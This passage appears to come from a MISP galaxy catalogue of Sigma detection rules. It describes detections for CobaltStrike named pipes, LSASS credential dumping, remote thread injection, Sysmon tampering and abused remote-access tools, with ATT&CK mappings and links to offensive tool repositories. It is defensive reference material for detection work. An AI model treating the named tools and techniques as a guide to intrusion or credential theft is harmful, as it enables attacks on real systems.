- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 14646. Table References

Links
https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_regsvr32_dns_query.yml

DNS Query To Remote Access Software Domain From Non-Browser App

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: *misp-galaxy:sigma-rules="DNS Query To Remote Access Software Domain From Non-Browser App"*

View relationships graph

DNS Query To Remote Access Software Domain From Non-Browser App has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14647. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution
https://redcanary.com/blog/misbehaving-rats/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a
https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows
https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist#disable-quick-assist-within-your-organization
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows
https://blog.sekoia.io/scattered-spider-laying-new-eggs/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_remote_access_software_domains_non_browsers.yml

Malicious Named Pipe Created

Detects the creation of a named pipe seen used by known APTs or malware.

The tag is: *misp-galaxy:sigma-rules="Malicious Named Pipe Created"*

View relationships graph

Malicious Named Pipe Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 14648. Table References

Links
https://thedfirreport.com/2020/06/21/snatch-ransomware/
https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity
https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/
https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
https://www.us-cert.gov/ncas/alerts/TA17-117A
https://github.com/RiccardoAncarani/LiquidSnake
https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://securelist.com/faq-the-projectsauron-apt/75533/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_malicious_namedpipes.yml

CobaltStrike Named Pipe Patterns

Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles

The tag is: *misp-galaxy:sigma-rules="CobaltStrike Named Pipe Patterns"*

View relationships graph

CobaltStrike Named Pipe Patterns has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 14649. Table References

Links
https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752
https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike_susp_pipe_patterns.yml

PUA - RemCom Default Named Pipe

Detects default RemCom pipe creation

The tag is: *misp-galaxy:sigma-rules="PUA - RemCom Default Named Pipe"*

View relationships graph

PUA - RemCom Default Named Pipe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 14650. Table References

Links
https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
https://github.com/kavika13/RemCom
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_pua_remcom_default_pipe.yml

ADFS Database Named Pipe Connection By Uncommon Tool

Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database). Used to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.

The tag is: *misp-galaxy:sigma-rules="ADFS Database Named Pipe Connection By Uncommon Tool"*

View relationships graph

ADFS Database Named Pipe Connection By Uncommon Tool has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 14651. Table References

Links
https://github.com/Azure/SimuLand
https://o365blog.com/post/adfs/
https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/ADFSDBNamedPipeConnection.yaml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_adfs_namedpipe_connection_uncommon_tool.yml

CobaltStrike Named Pipe Pattern Regex

Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles

The tag is: *misp-galaxy:sigma-rules="CobaltStrike Named Pipe Pattern Regex"*

View relationships graph

CobaltStrike Named Pipe Pattern Regex has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 14652. Table References

Links
https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752
https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike_re.yml

PUA - PAExec Default Named Pipe

Detects PAExec default named pipe

The tag is: *misp-galaxy:sigma-rules="PUA - PAExec Default Named Pipe"*

View relationships graph

PUA - PAExec Default Named Pipe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 14653. Table References

Links
https://github.com/poweradminllc/PAExec
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Command%20and%20Control/C2-NamedPipe.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_pua_paexec_default_pipe.yml

PUA - CSExec Default Named Pipe

Detects default CSExec pipe creation

The tag is: *misp-galaxy:sigma-rules="PUA - CSExec Default Named Pipe"*

View relationships graph

PUA - CSExec Default Named Pipe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 14654. Table References

Links
https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
https://github.com/malcomvetter/CSExec
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_pua_csexec_default_pipe.yml

HackTool - CoercedPotato Named Pipe Creation

Detects the pattern of a pipe name as used by the hack tool CoercedPotato

The tag is: *misp-galaxy:sigma-rules="HackTool - CoercedPotato Named Pipe Creation"*

View relationships graph

HackTool - CoercedPotato Named Pipe Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 14655. Table References

Links
https://blog.hackvens.fr/articles/CoercedPotato.html
https://github.com/hackvens/CoercedPotato
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_coercedpotato.yml

HackTool - EfsPotato Named Pipe Creation

Detects the pattern of a pipe name as used by the hack tool EfsPotato

The tag is: *misp-galaxy:sigma-rules="HackTool - EfsPotato Named Pipe Creation"*

View relationships graph

HackTool - EfsPotato Named Pipe Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 14656. Table References

Links
https://twitter.com/SBousseaden/status/1429530155291193354?s=20
https://github.com/zcgonvh/EfsPotato
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_efspotato.yml

HackTool - DiagTrackEoP Default Named Pipe

Detects creation of default named pipe used by the DiagTrackEoP POC, a tool that abuses "SeImpersonate" privilege.

The tag is: *misp-galaxy:sigma-rules="HackTool - DiagTrackEoP Default Named Pipe"*

Table 14657. Table References

Links
https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L22

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_diagtrack_eop.yml

HackTool - Koh Default Named Pipe

Detects creation of default named pipes used by the Koh tool

The tag is: *misp-galaxy:sigma-rules="HackTool - Koh Default Named Pipe"*

View relationships graph

HackTool - Koh Default Named Pipe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

Table 14658. Table References

Links
https://github.com/GhostPack/Koh/blob/0283d9f3f91cf74732ad377821986cfcb088e20a/Clients/BOF/KohClient.c#L12
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_koh_default_pipe.yml

CobaltStrike Named Pipe

Detects the creation of a named pipe as used by CobaltStrike

The tag is: *misp-galaxy:sigma-rules="CobaltStrike Named Pipe"*

View relationships graph

CobaltStrike Named Pipe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 14659. Table References

Links
https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/
https://redcanary.com/threat-detection-report/threats/cobalt-strike/
https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/
https://twitter.com/d4rksystem/status/1357010969264873472
https://github.com/SigmaHQ/sigma/issues/253

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike.yml

Alternate PowerShell Hosts Pipe

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

The tag is: *misp-galaxy:sigma-rules="Alternate PowerShell Hosts Pipe"*

View relationships graph

Alternate PowerShell Hosts Pipe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 14660. Table References

Links
https://threathunterplaybook.com/hunts/windows/190410-LocalPwshExecution/notebook.html
https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_alternate_host_pipe.yml

PsExec Tool Execution From Suspicious Locations - PipeName

Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack

The tag is: *misp-galaxy:sigma-rules="PsExec Tool Execution From Suspicious Locations - PipeName"*

View relationships graph

PsExec Tool Execution From Suspicious Locations - PipeName has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 14661. Table References

Links
https://jpcertcc.github.io/ToolAnalysisResultSheet
https://www.jpcert.or.jp/english/pub/sr/ir_research.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_sysinternals_psexec_default_pipe_susp_location.yml

WMI Event Consumer Created Named Pipe

Detects the WMI Event Consumer service scrcons.exe creating a named pipe

The tag is: *misp-galaxy:sigma-rules="WMI Event Consumer Created Named Pipe"*

View relationships graph

WMI Event Consumer Created Named Pipe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 14662. Table References

Links
https://github.com/RiccardoAncarani/LiquidSnake
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_scrcons_wmi_consumer_namedpipe.yml

HackTool - Credential Dumping Tools Named Pipe Created

Detects well-known credential dumping tools execution via specific named pipe creation

The tag is: *misp-galaxy:sigma-rules="HackTool - Credential Dumping Tools Named Pipe Created"*

View relationships graph

HackTool - Credential Dumping Tools Named Pipe Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"

Table 14663. Table References

Links
https://image.slidesharecdn.com/zeronights2017kheirkhabarov-171118103000/75/hunting-for-credentials-dumping-in-windows-environment-57-2048.jpg?cb=1666035799
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_generic_cred_dump_tools_pipes.yml

New PowerShell Instance Created

Detects the execution of PowerShell via the creation of a named pipe starting with PSHost

The tag is: *misp-galaxy:sigma-rules="New PowerShell Instance Created"*

View relationships graph

New PowerShell Instance Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 14664. Table References

Links
https://threathunterplaybook.com/hunts/windows/190410-LocalPwshExecution/notebook.html
https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_execution_pipe.yml

Sysmon Configuration Modification

Detects when an attacker tries to hide from Sysmon by disabling or stopping it

The tag is: *misp-galaxy:sigma-rules="Sysmon Configuration Modification"*

View relationships graph

Sysmon Configuration Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"

Table 14665. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml

Sysmon Configuration Change

Detects a Sysmon configuration change, which could be the result of a legitimate reconfiguration or someone trying manipulate the configuration

The tag is: *misp-galaxy:sigma-rules="Sysmon Configuration Change"*

Table 14666. Table References

Links
https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification.yml

Sysmon Blocked File Shredding

Triggers on any Sysmon "FileBlockShredding" event, which indicates a violation of the configured shredding policy.

The tag is: *misp-galaxy:sigma-rules="Sysmon Blocked File Shredding"*

Table 14667. Table References

Links
https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_shredding.yml

Sysmon Configuration Error

Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages

The tag is: *misp-galaxy:sigma-rules="Sysmon Configuration Error"*

View relationships graph

Sysmon Configuration Error has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"

Table 14668. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_error.yml

Sysmon File Executable Creation Detected

Triggers on any Sysmon "FileExecutableDetected" event, which triggers every time a PE that is monitored by the config is created.

The tag is: *misp-galaxy:sigma-rules="Sysmon File Executable Creation Detected"*

Table 14669. Table References

Links
https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
https://medium.com/@olafhartong/sysmon-15-0-file-executable-detected-40fd64349f36
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_executable_detected.yml

Sysmon Blocked Executable

Triggers on any Sysmon "FileBlockExecutable" event, which indicates a violation of the configured block policy

The tag is: *misp-galaxy:sigma-rules="Sysmon Blocked Executable"*

Table 14670. Table References

Links
https://medium.com/@olafhartong/sysmon-14-0-fileblockexecutable-13d7ba3dff3e
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_executable.yml

Remote Thread Creation By Uncommon Source Image

Detects uncommon processes creating remote threads.

The tag is: *misp-galaxy:sigma-rules="Remote Thread Creation By Uncommon Source Image"*

View relationships graph

Remote Thread Creation By Uncommon Source Image has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 14671. Table References

Links

https://lolbas-project.github.io
Personal research, statistical analysis[Personal research, statistical analysis]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_uncommon_source_image.yml

Remote Thread Created In KeePass.EXE

Detects remote thread creation in "KeePass.exe" which could indicates potential password dumping activity

The tag is: *misp-galaxy:sigma-rules="Remote Thread Created In KeePass.EXE"*

View relationships graph

Remote Thread Created In KeePass.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"

Table 14672. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/aa20-259a
https://github.com/GhostPack/KeeThief
https://github.com/denandz/KeeFarce
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_keepass.yml

Remote Thread Creation Via PowerShell In Uncommon Target

Detects the creation of a remote thread from a Powershell process in an uncommon target process

The tag is: *misp-galaxy:sigma-rules="Remote Thread Creation Via PowerShell In Uncommon Target"*

View relationships graph

Remote Thread Creation Via PowerShell In Uncommon Target has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 14673. Table References

Links

https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_susp_targets.yml

HackTool - CACTUSTORCH Remote Thread Creation

Detects remote thread creation from CACTUSTORCH as described in references.

The tag is: *misp-galaxy:sigma-rules="HackTool - CACTUSTORCH Remote Thread Creation"*

View relationships graph

HackTool - CACTUSTORCH Remote Thread Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

Table 14674. Table References

Links
https://twitter.com/SBousseaden/status/1090588499517079552
https://github.com/mdsecactivebreach/CACTUSTORCH
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_hktl_cactustorch.yml

HackTool - Potential CobaltStrike Process Injection

Detects a potential remote threat creation with certain characteristics which are typical for Cobalt Strike beacons

The tag is: *misp-galaxy:sigma-rules="HackTool - Potential CobaltStrike Process Injection"*

View relationships graph

HackTool - Potential CobaltStrike Process Injection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 14675. Table References

Links
https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f
https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_hktl_cobaltstrike.yml

Password Dumper Remote Thread in LSASS

Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage. The process in field Process is the malicious program. A single execution can lead to hundreds of events.

The tag is: *misp-galaxy:sigma-rules="Password Dumper Remote Thread in LSASS"*

View relationships graph

Password Dumper Remote Thread in LSASS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14676. Table References

Links
https://jpcertcc.github.io/ToolAnalysisResultSheet/details/WCE.htm
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_password_dumper_lsass.yml

Remote Thread Creation In Mstsc.Exe From Suspicious Location

Detects remote thread creation in the "mstsc.exe" process by a process located in a potentially suspicious location. This technique is often used by attackers in order to hook some APIs used by DLLs loaded by "mstsc.exe" during RDP authentications in order to steal credentials.

The tag is: *misp-galaxy:sigma-rules="Remote Thread Creation In Mstsc.Exe From Suspicious Location"*

Table 14677. Table References

Links
https://github.com/S12cybersecurity/RDPCredentialStealer/blob/1b8947cdd065a06c1b62e80967d3c7af895fcfed/APIHookInjectorBin/APIHookInjectorBin/Inject.h#L25
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_mstsc_susp_location.yml

Remote Thread Creation Ttdinject.exe Proxy

Detects a remote thread creation of Ttdinject.exe used as proxy

The tag is: *misp-galaxy:sigma-rules="Remote Thread Creation Ttdinject.exe Proxy"*

View relationships graph

Remote Thread Creation Ttdinject.exe Proxy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 14678. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_ttdinjec.yml

Potential Credential Dumping Attempt Via PowerShell Remote Thread

Detects remote thread creation by PowerShell processes into "lsass.exe"

The tag is: *misp-galaxy:sigma-rules="Potential Credential Dumping Attempt Via PowerShell Remote Thread"*

View relationships graph

Potential Credential Dumping Attempt Via PowerShell Remote Thread has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14679. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_lsass.yml

Remote Thread Creation In Uncommon Target Image

Detects uncommon target processes for remote thread creation

The tag is: *misp-galaxy:sigma-rules="Remote Thread Creation In Uncommon Target Image"*

View relationships graph

Remote Thread Creation In Uncommon Target Image has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Thread Execution Hijacking - T1055.003" with estimative-language:likelihood-probability="almost-certain"

Table 14680. Table References

Links
https://web.archive.org/web/20220319032520/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_uncommon_target_image.yml

Rare Remote Thread Creation By Uncommon Source Image

Detects uncommon processes creating remote threads.

The tag is: *misp-galaxy:sigma-rules="Rare Remote Thread Creation By Uncommon Source Image"*

View relationships graph

Rare Remote Thread Creation By Uncommon Source Image has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 14681. Table References

Links
https://lolbas-project.github.io
Personal research, statistical analysis[Personal research, statistical analysis]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_relevant_source_image.yml

Suspicious Deno File Written from Remote Source

Detects Deno writing a file from a direct HTTP(s) call and writing to the appdata folder or bringing it's own malicious DLL. This behavior may indicate an attempt to execute remotely hosted, potentially malicious files through deno.

The tag is: *misp-galaxy:sigma-rules="Suspicious Deno File Written from Remote Source"*

View relationships graph

Suspicious Deno File Written from Remote Source has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 14682. Table References

Links
https://taggart-tech.com/evildeno/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_deno.yml

HackTool - QuarksPwDump Dump File

Detects a dump file written by QuarksPwDump password dumper

The tag is: *misp-galaxy:sigma-rules="HackTool - QuarksPwDump Dump File"*

View relationships graph

HackTool - QuarksPwDump Dump File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

Table 14683. Table References

Links
https://jpcertcc.github.io/ToolAnalysisResultSheet/details/QuarksPWDump.htm
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_quarkspw_filedump.yml

LiveKD Driver Creation By Uncommon Process

Detects the creation of the LiveKD driver by a process image other than "livekd.exe".

The tag is: *misp-galaxy:sigma-rules="LiveKD Driver Creation By Uncommon Process"*

Table 14684. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_livekd_driver_susp_creation.yml

New Outlook Macro Created

Detects the creation of a macro file for Outlook.

The tag is: *misp-galaxy:sigma-rules="New Outlook Macro Created"*

View relationships graph

New Outlook Macro Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546" with estimative-language:likelihood-probability="almost-certain"

Table 14685. Table References

Links
https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_outlook_macro_creation.yml

Suspicious Executable File Creation

Detect creation of suspicious executable file names. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.

The tag is: *misp-galaxy:sigma-rules="Suspicious Executable File Creation"*

View relationships graph

Suspicious Executable File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"

Table 14686. Table References

Links
https://app.any.run/tasks/76c69e2d-01e8-49d9-9aea-fb7cc0c4d3ad/
https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_executable_creation.yml

Office Macro File Creation From Suspicious Process

Detects the creation of a office macro file from a a suspicious process

The tag is: *misp-galaxy:sigma-rules="Office Macro File Creation From Suspicious Process"*

View relationships graph

Office Macro File Creation From Suspicious Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 14687. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md
https://learn.microsoft.com/en-us/deployoffice/compat/office-file-format-reference
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_from_susp_process.yml

File Creation In Suspicious Directory By Msdt.EXE

Detects msdt.exe creating files in suspicious directories which could be a sign of exploitation of either Follina or Dogwalk vulnerabilities

The tag is: *misp-galaxy:sigma-rules="File Creation In Suspicious Directory By Msdt.EXE"*

View relationships graph

File Creation In Suspicious Directory By Msdt.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14688. Table References

Links
https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd
https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_msdt_susp_directories.yml

Potentially Suspicious DMP/HDMP File Creation

